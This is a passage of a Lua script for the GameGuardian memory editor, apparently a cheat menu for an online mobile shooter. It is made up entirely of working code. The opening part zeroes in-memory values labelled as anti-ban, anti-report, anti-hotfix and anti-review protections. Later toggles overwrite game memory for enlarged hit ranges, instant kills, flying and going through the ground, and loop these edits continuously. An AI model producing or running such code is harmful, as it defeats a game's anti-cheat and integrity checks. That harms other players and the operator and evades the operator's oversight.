gg.searchNumber("4,121,695,458,084,024,417", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("2,684,483,087,738,479,940", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("8,588,134,942,460,114,024", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("3,343,194,220,338,833,527", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("8,459,009,628,076,182,531", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("7,308,830,339,968,955,489", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("7,018,629,583,061,869,409", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("7,308,604,866,081,025,902", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("7,939,415,587,185,847,925", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("7,598,805,550,879,240,304", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("8,101,260,378,952,982,807", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("3,346,294,874,099,970,145", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("2.895811e32", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(100) gg.editAll("0", gg.TYPE_FLOAT) gg.clearResults() gg.setRanges(4) gg.searchNumber("7,887,320,756,493,817,612", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.alert("全部开启,请检查") end), changan.switch( "检查防", function() gg.clearResults() gg.setRanges(4) gg.searchNumber("7018629583061869409", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) if gg.getResultCount() > 0 then gg.alert("防封开启失败") else gg.clearResults() gg.setRanges(4) gg.searchNumber("7018629583061869409", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.toast("防封开启") end gg.clearResults() gg.setRanges(4) gg.searchNumber("7,308,604,866,081,025,902", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) if gg.getResultCount() > 0 then gg.alert("防载入开启失败") else gg.clearResults() gg.setRanges(4) gg.searchNumber("7,308,604,866,081,025,902", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.toast("防载入开启") end gg.clearResults() gg.setRanges(4) gg.searchNumber("7,939,415,587,185,847,925", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) if gg.getResultCount() > 0 then gg.alert("防热修开启失败") else gg.clearResults() gg.setRanges(4) gg.searchNumber("7,939,415,587,185,847,925", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.toast("防热修开启") end gg.clearResults() gg.setRanges(4) gg.searchNumber("2,684,483,087,738,479,940", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) if gg.getResultCount() > 0 then gg.alert("防人工开启失败") else gg.clearResults() gg.setRanges(4) gg.searchNumber("2,684,483,087,738,479,940", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("7018629583061869409", gg.TYPE_QWORD) gg.toast("防人工开启") end gg.clearResults() gg.setRanges(4) gg.searchNumber("3,346,294,874,099,970,145", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.searchNumber("8,101,260,378,952,982,807", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) if gg.getResultCount() > 0 then gg.alert("防举报开启失败") else gg.clearResults() gg.setRanges(4) gg.searchNumber("8,101,260,378,952,982,807", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.searchNumber("3,346,294,874,099,970,145", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.toast("防举报开启") end end ), },{---UI设置 changan.box({ "杀戮范围", changan.seek('大小','dx',1,999999999,1),--名字,变量名,最小,最大,初始 changan.switch("高伤范围", function () search(7.707281683632926E-41,16,neicun) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(1.0,16,40) py1(0.0,16,44) py1(0.0,16,48) py1(0.0,16,52) py1(1.0,16,312) py1(0.19999998807907104,16,328) py1(1.0,16,352) xg1(99999,16,76,false) xg1(0,16,80,false) xg1(9999,16,72,false) end, function () fw1=false fw1=false end), changan.switch("普通秒杀", function () search(7.707281683632926E-41,16,neicun) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(1.0,16,40) py1(0.0,16,44) py1(0.0,16,48) py1(0.0,16,52) py1(1.0,16,312) py1(0.19999998807907104,16,328) py1(1.0,16,352) xg1(99999,16,76,false) xg1(0,16,80,false) xg1(9999,16,72,false) end, function () fw1=false fw1=false end), changan.switch("不挡队友秒杀", function () fw1=false fw1=true while fw1==true do gg.diyToast("Start execution") search(7.707281683632926E-41,16,neicun) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(1.0,16,40) py1(0.0,16,44) py1(0.0,16,48) py1(0.0,16,52) py1(1.0,16,312) py1(0.19999998807907104,16,328) py1(1.0,16,352) xg1(99999,16,76,false) xg1(0,16,80,false) xg1(9999,16,72,false) sleep(200) end end, function () fw1=false fw1=false end), changan.switch("核心范围", function () cdfw=true while cdfw do search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "幻灵"}, {["value"] = 5.154799938201904, ["type"] = 16}, {["lv"] = 4.906000137329102, ["offset"] = 4, ["type"] = 16}, {["lv"] = 4.9253997802734375, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 8, ["type"] = 16}, } xqmnb(qmnb) qmnb = { {["memory"] = 4}, {["name"] = "风声"}, {["value"] = 4.8165998458862305, ["type"] = 16}, {["lv"] = 2.997499942779541, ["offset"] = 4, ["type"] = 16}, {["lv"] = 5.773600101470947, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "火萤"}, {["value"] = 1086003452, ["type"] = 4}, {["lv"] = 1079392810, ["offset"] = 4, ["type"] = 4}, {["lv"] = 1087383378, ["offset"] = 8, ["type"] = 4}, } qmxg = { {["value"] = 999999, ["offset"] = 0, ["type"] = 16}, {["value"] = 999999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "大家伙"}, {["value"] = 6.202899932861328, ["type"] = 16}, {["lv"] = 7.257599830627441, ["offset"] = 4, ["type"] = 16}, {["lv"] = 11.9798002243042, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "夜莺"}, {["value"] = 1084453028, ["type"] = 4}, {["lv"] = 1084043454, ["offset"] = 4, ["type"] = 4}, {["lv"] = 1088645444, ["offset"] = 8, ["type"] = 4}, } qmxg = { {["value"] = 1203982208, ["offset"] = 0, ["type"] = 4}, {["value"] = 1203982208, ["offset"] = 4, ["type"] = 4}, } xqmnb(qmnb) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) search(9.900099754333496,16,4) py1(4.437600135803223,16,-4) xg1(999999,16,-4,false) xg1(5,16,0,false) xg1(999996,16,-8,false) search(3.605950117111206,16,4) py1(4.161499977111816,16,4) xg1(1000,16,0,false) xg1(1000,16,4,false) xg1(1000,16,-4,false) end end, function () fw1=false fw1=false end), changan.switch( "二进制秒杀", function() 秒杀=true gg.diyToast("二进制秒杀已开启") while 秒杀 == true do search(7.707281683632926E-41, 16, 4) py1(0, 16, 24) py1(0, 16, 28) py1(0, 16, 32) py1(0, 16, 36) py1(4.5, 16, 62) xg1(600.42, 16, 60, false) xg1(360000.84, 16, 56, false) end end, function() 秒杀 = false gg.clearResults() end), changan.switch("超准度计算碰撞(兼容共算法)", function() 超准度计算秒杀=true gg.toast("正在搜索计算数据中") --32位输入方式 if yxws==32 then search(7.707281683632926E-41,16,neicun) czzjspz32=gg.prompt({'\n检测到为32位应用。\n(提示:输入的值不能太高,后果自负!)\n\n请输入碰撞的精准度:'},{[1]='52'}) gg.toast("32位超准度计算碰撞已开启") --64位输入方式 elseif yxws==64 then search(7.707281683632926E-41,16,4) czzjspz64=gg.prompt({'\n检测到为64位应用。\n(提示:输入的值不能太高,后果自负!)\n\n请输入碰撞的精准度'},{[1]='54'}) gg.toast("64位超准度计算碰撞已开启") --循环执行线程 while 超准度计算秒杀==true do --32位超准度算法 if yxws==32 then search(7.707281683632926E-41,16,neicun) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,czzjspz64[1]) xg1(99999999,16,czzjspz64[1],false) xg1(99999999,16,52,false) gg.clearList() gg.setValues(z) --64位超准度算法 elseif yxws==64 then search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,64) py1(0.0,16,35) py1(4.5,16,czzjspz64[1]) xg1(999999,16,czzjspz64[1],false) xg1(999999,16,55,false) gg.clearList() gg.setValues(z) gg.sleep(100) end end end end, function() 超准度计算秒杀=false gg.toast("超准度计算碰撞关闭中") gg.clearResults() end), changan.switch("超范围计算秒杀(兼容算法)", function() 超范围计算秒杀=true gg.toast("正在搜索计算数据中") --32位输入方式 if yxws==32 then search(7.707281683632926E-41,16,neicun) cfwjsms32=gg.prompt({'\n检测到为32位应用\n\n请输入秒杀的超范围:'},{[1]='9999999'}) gg.toast("32位超范围计算秒杀已开启") --64位输入方式 elseif yxws==64 then search(7.707281683632926E-41,16,4) cfwjsms64=gg.prompt({'\n检测到为64位应用\n\n请输入秒杀的超范围'},{[1]='9999999'}) gg.toast("64位超范围计算秒杀已开启") --循环执行线程 while 超范围计算秒杀==true do --32位超范围算法 if yxws==32 then search(7.707281683632926E-41,16,neicun) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(cfwjsms32[1],16,56,true) xg1(cfwjsms32[1],16,52,true) --超核心秒杀 search(3.605950117111206,16,4) py1(2.802596928649634E-45,16,-8) py1(3.605950117111206,16,0) xg1(cfwjsms32[1],16,0,true) xg1(cfwjsms32[1],16,-4,true) --64位超范围算法 elseif yxws==64 then search(7.707281683632926E-41,16,neicun) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,60) py1(4.5,16,64) xg1(cfwjsms64[1],16,60,true) xg1(cfwjsms64[1],16,56,true) --超核心秒杀 search(3.605950117111206,16,4) py1(2.802596928649634E-45,16,-8) py1(3.605950117111206,16,0) xg1(cfwjsms64[1],16,0,true) xg1(cfwjsms64[1],16,-4,true) end end end end, function() 超范围计算秒杀=false gg.toast("超范围计算秒杀关闭中") gg.clearResults() end), changan.switch("边打边飞", function () fw1=false fw1=true while fw1==true do search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) search(-7.62340075e12, 16, 4) py1(-44244, 127, 4) xg1(3,0,0,false) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(-2 ,16,96,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) search(3.605950117111206,16,4) py1(4.161499977111816,16,4)------凯鼠 xg1(1000,16,0,false) xg1(1000,16,4,false) xg1(1000,16,-4,false) search(4.73360013961792,16,4) py1(4.791800022125244,16,4)------萌新 xg1(1000,16,0,false) xg1(1000,16,-4,false) search(9.900099754333496,16,4) py1(4.437600135803223,16,-4)----网虫 xg1(999999,16,-4,false) xg1(5,16,0,false) xg1(999996,16,-8,false) qmnb = { {["memory"] = 4}, {["name"] = "夜莺"}, {["value"] = 1084453028, ["type"] = 4}, {["lv"] = 1084043454, ["offset"] = 4, ["type"] = 4}, {["lv"] = 1088645444, ["offset"] = 8, ["type"] = 4}, } qmxg = { {["value"] = 1203982208, ["offset"] = 0, ["type"] = 4}, {["value"] = 1203982208, ["offset"] = 4, ["type"] = 4}, } xqmnb(qmnb) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) search(-7.62340075e12, 16, 4) py1(-44244, 127, 4) xg1(3,0,0,false) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "大家伙"}, {["value"] = 6.202899932861328, ["type"] = 16}, {["lv"] = 7.257599830627441, ["offset"] = 4, ["type"] = 16}, {["lv"] = 11.9798002243042, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "火萤"}, {["value"] = 1086003452, ["type"] = 4}, {["lv"] = 1079392810, ["offset"] = 4, ["type"] = 4}, {["lv"] = 1087383378, ["offset"] = 8, ["type"] = 4}, } qmxg = { {["value"] = 999999, ["offset"] = 0, ["type"] = 16}, {["value"] = 999999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "风声"}, {["value"] = 4.8165998458862305, ["type"] = 16}, {["lv"] = 2.997499942779541, ["offset"] = 4, ["type"] = 16}, {["lv"] = 5.773600101470947, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "幻灵"}, {["value"] = 5.154799938201904, ["type"] = 16}, {["lv"] = 4.906000137329102, ["offset"] = 4, ["type"] = 16}, {["lv"] = 4.9253997802734375, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 8, ["type"] = 16}, } xqmnb(qmnb) end end, function () fw1=false fw1=false end), changan.switch("遁地秒杀", function () fw1=false fw1=true while fw1==true do search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(-500,16,-8,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(-2 ,16,96,true) end end, function () fw1=false fw1=false end), changan.switch("全核心秒杀范围(裸套)", function () while true do fw1=false fw1=true while fw1==true do search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) search(3.605950117111206,16,4) py1(4.161499977111816,16,4)------凯鼠 xg1(1000,16,0,false) xg1(1000,16,4,false) xg1(1000,16,-4,false) search(4.73360013961792,16,4) py1(4.791800022125244,16,4)------萌新 xg1(1000,16,0,false) xg1(1000,16,-4,false) search(9.900099754333496,16,4) py1(4.437600135803223,16,-4)----网虫 xg1(999999,16,-4,false) xg1(5,16,0,false) xg1(999996,16,-8,false) qmnb = { {["memory"] = 4}, {["name"] = "夜莺"}, {["value"] = 1084453028, ["type"] = 4}, {["lv"] = 1084043454, ["offset"] = 4, ["type"] = 4}, {["lv"] = 1088645444, ["offset"] = 8, ["type"] = 4}, } qmxg = { {["value"] = 1203982208, ["offset"] = 0, ["type"] = 4}, {["value"] = 1203982208, ["offset"] = 4, ["type"] = 4}, } xqmnb(qmnb) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "大家伙"}, {["value"] = 6.202899932861328, ["type"] = 16}, {["lv"] = 7.257599830627441, ["offset"] = 4, ["type"] = 16}, {["lv"] = 11.9798002243042, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "火萤"}, {["value"] = 1086003452, ["type"] = 4}, {["lv"] = 1079392810, ["offset"] = 4, ["type"] = 4}, {["lv"] = 1087383378, ["offset"] = 8, ["type"] = 4}, } qmxg = { {["value"] = 999999, ["offset"] = 0, ["type"] = 16}, {["value"] = 999999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) search(-7.62340075e12, 16, 4) py1(-44244, 127, 4) xg1(3,0,0,false) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "风声"}, {["value"] = 4.8165998458862305, ["type"] = 16}, {["lv"] = 2.997499942779541, ["offset"] = 4, ["type"] = 16}, {["lv"] = 5.773600101470947, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 4, ["type"] = 16}, } xqmnb(qmnb) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "幻灵"}, {["value"] = 5.154799938201904, ["type"] = 16}, {["lv"] = 4.906000137329102, ["offset"] = 4, ["type"] = 16}, {["lv"] = 4.9253997802734375, ["offset"] = 8, ["type"] = 16}, } qmxg = { {["value"] = 99999, ["offset"] = 0, ["type"] = 16}, {["value"] = 99999, ["offset"] = 8, ["type"] = 16}, } xqmnb(qmnb) local qmnb= { {['memory']=4}, {['name']='铁驭'}, {['value']=5.85529994965, ['type']=16}, {['lv']=5.85529994965,['offset']=0, ['type']=16}, {['lv']=5.16239976883,['offset']=4, ['type']=16}, {['lv']=5.23250007629,['offset']=8, ['type']=16}, } local qmxg= { {['value']=255.85529994965,['offset']=0,['type']=16}, {['value']=255.16239976883,['offset']=4,['type']=16}, {['value']=255.23250007629,['offset']=8,['type']=16}, } xqmnb(qmnb) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) end end end, function () fw1=false fw1=false end), changan.switch("指针范围", function () fw1=false fw1=true function LSQ_pointer(search, write) if search[5] or search[6] then local region_start = search[5] local region_end = search[6] else local region_start = 0 local region_end = -1 end gg.clearResults() gg.setRanges(search[1][3]) gg.searchNumber(search[1][1], search[1][2], false, gg.SIGN_EQUAL, region_start, region_end) gg.refineNumber(search[1][1], search[1][2], false, gg.SIGN_EQUAL, region_start, region_end)--优化搜索的数据 if gg.getResultsCount() == 0 then gg.toast("没有搜索到指针数据") return false else local result = gg.getResults(gg.getResultsCount())--获取搜索到的所有数据 gg.clearResults() for i = 2, #search do--遍历副特征码数据 local offset_array = {}--存放偏移数组的表 for k, v in ipairs(result) do offset_array[#offset_array + 1] = { ["address"] = v["address"] + search[i][2],--把所有搜索出来的结果, 加上偏移量 ["flags"] = search[i][3] } end offset_array = gg.getValues(offset_array)--获取所有副特征数据 local verify_array = {}--验证数组表 for k, v in ipairs(offset_array) do--遍历偏移后的数据 if v["value"] == search[i][1] then--如果值等于主特征 verify_array[#verify_array + 1] = result[k] end end result = verify_array end if #result > 0 then local Table = { {}, {} } for k, v in ipairs(result) do for kk, vv in ipairs(write) do -- print(string.format("0x%X", v["address"] + vv[2])) local Modifythe_array = { ["address"] = v["address"] + vv[2], ["flags"] = vv[3], ["value"] = vv[1], ["freeze"] = vv[4] } if vv[4] then Table[2][#Table[2] + 1] = Modifythe_array else Table[1][#Table[1] + 1] = Modifythe_array end end end gg.addListItems(Table[2]) gg.setValues(Table[1]) gg.toast("功能: [" .. search[1][4] .. "]开启成功共修改" .. (#Table[1] + #Table[2]) .. "条数据") else gg.toast("未找到指针数据") end end end while true do local Search_array = { {2199026335744, 32, 4, ""}, {236227496247808, 4, 32}, {3080192, 16, 32}, {0, 20, 32}, {0, 24, 32}, {4575657221408423936,28,32}, {1065353216,32,32}, {0,36,32}, {0,40, 32}, {4489188105126936576,44,32}, {4652218415073722371,56,32}, {4.5,60,16}, } local Modifythe_array = { {9999999, 64, 16, false}, {9999999, 68, 16, false}, } LSQ_pointer(Search_array, Modifythe_array) end end, function () fw1=false fw1=false end), changan.switch("边打边飞", function () while true do fw1=false fw1=true while fw1==true do search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(-2 ,16,96,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) search(3.605950117111206,16,4) py1(4.161499977111816,16,4)------凯鼠 xg1(1000,16,0,false) xg1(1000,16,4,false) xg1(1000,16,-4,false) search(4.73360013961792,16,4) py1(4.791800022125244,16,4)------萌新 xg1(1000,16,0,false) xg1(1000,16,-4,false) search(9.900099754333496,16,4) py1(4.437600135803223,16,-4)----网虫 xg1(999999,16,-4,false) xg1(5,16,0,false) xg1(999996,16,-8,false) qmnb = { {["memory"] = 4}, {["name"] = "夜莺"}, {["value"] = 1084453028, ["type"] = 4}, {["lv"] = 1084043454, ["offset"] = 4, ["type"] = 4}, {["lv"] = 1088645444, ["offset"] = 8, ["type"] = 4}, } qmxg = { {["value"] = 1203982208, ["offset"] = 0, ["type"] = 4}, {["value"] = 1203982208, ["offset"] = 4, ["type"] = 4}, } xqmnb(qmnb) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(5000,16,-8,true) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) local qmnb= { {['memory']=4}, {['name']='铁驭'}, {['value']=5.85529994965, ['type']=16}, {['lv']=5.85529994965,['offset']=0, ['type']=16}, {['lv']=5.16239976883,['offset']=4, ['type']=16}, {['lv']=5.23250007629,['offset']=8, ['type']=16}, } local qmxg= { {['value']=255.85529994965,['offset']=0,['type']=16}, {['value']=255.16239976883,['offset']=4,['type']=16}, {['value']=255.23250007629,['offset']=8,['type']=16}, } xqmnb(qmnb,qmxg) search(7.707281683632926E-41,16,4) py1(0.0,16,12) py1(0.0,16,16) py1(0.0,16,20) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,56) xg1(99999,16,56,false) xg1(99999,16,52,false) qmnb = { {["memory"] = 4}, {["name"] = "大家伙"}, {["value"] = 6.202899932861328, ["type"] = 16}, {["lv"] = 7.257599830627441, ["offset"] = 4, ["type"] = 16}, {["lv"] 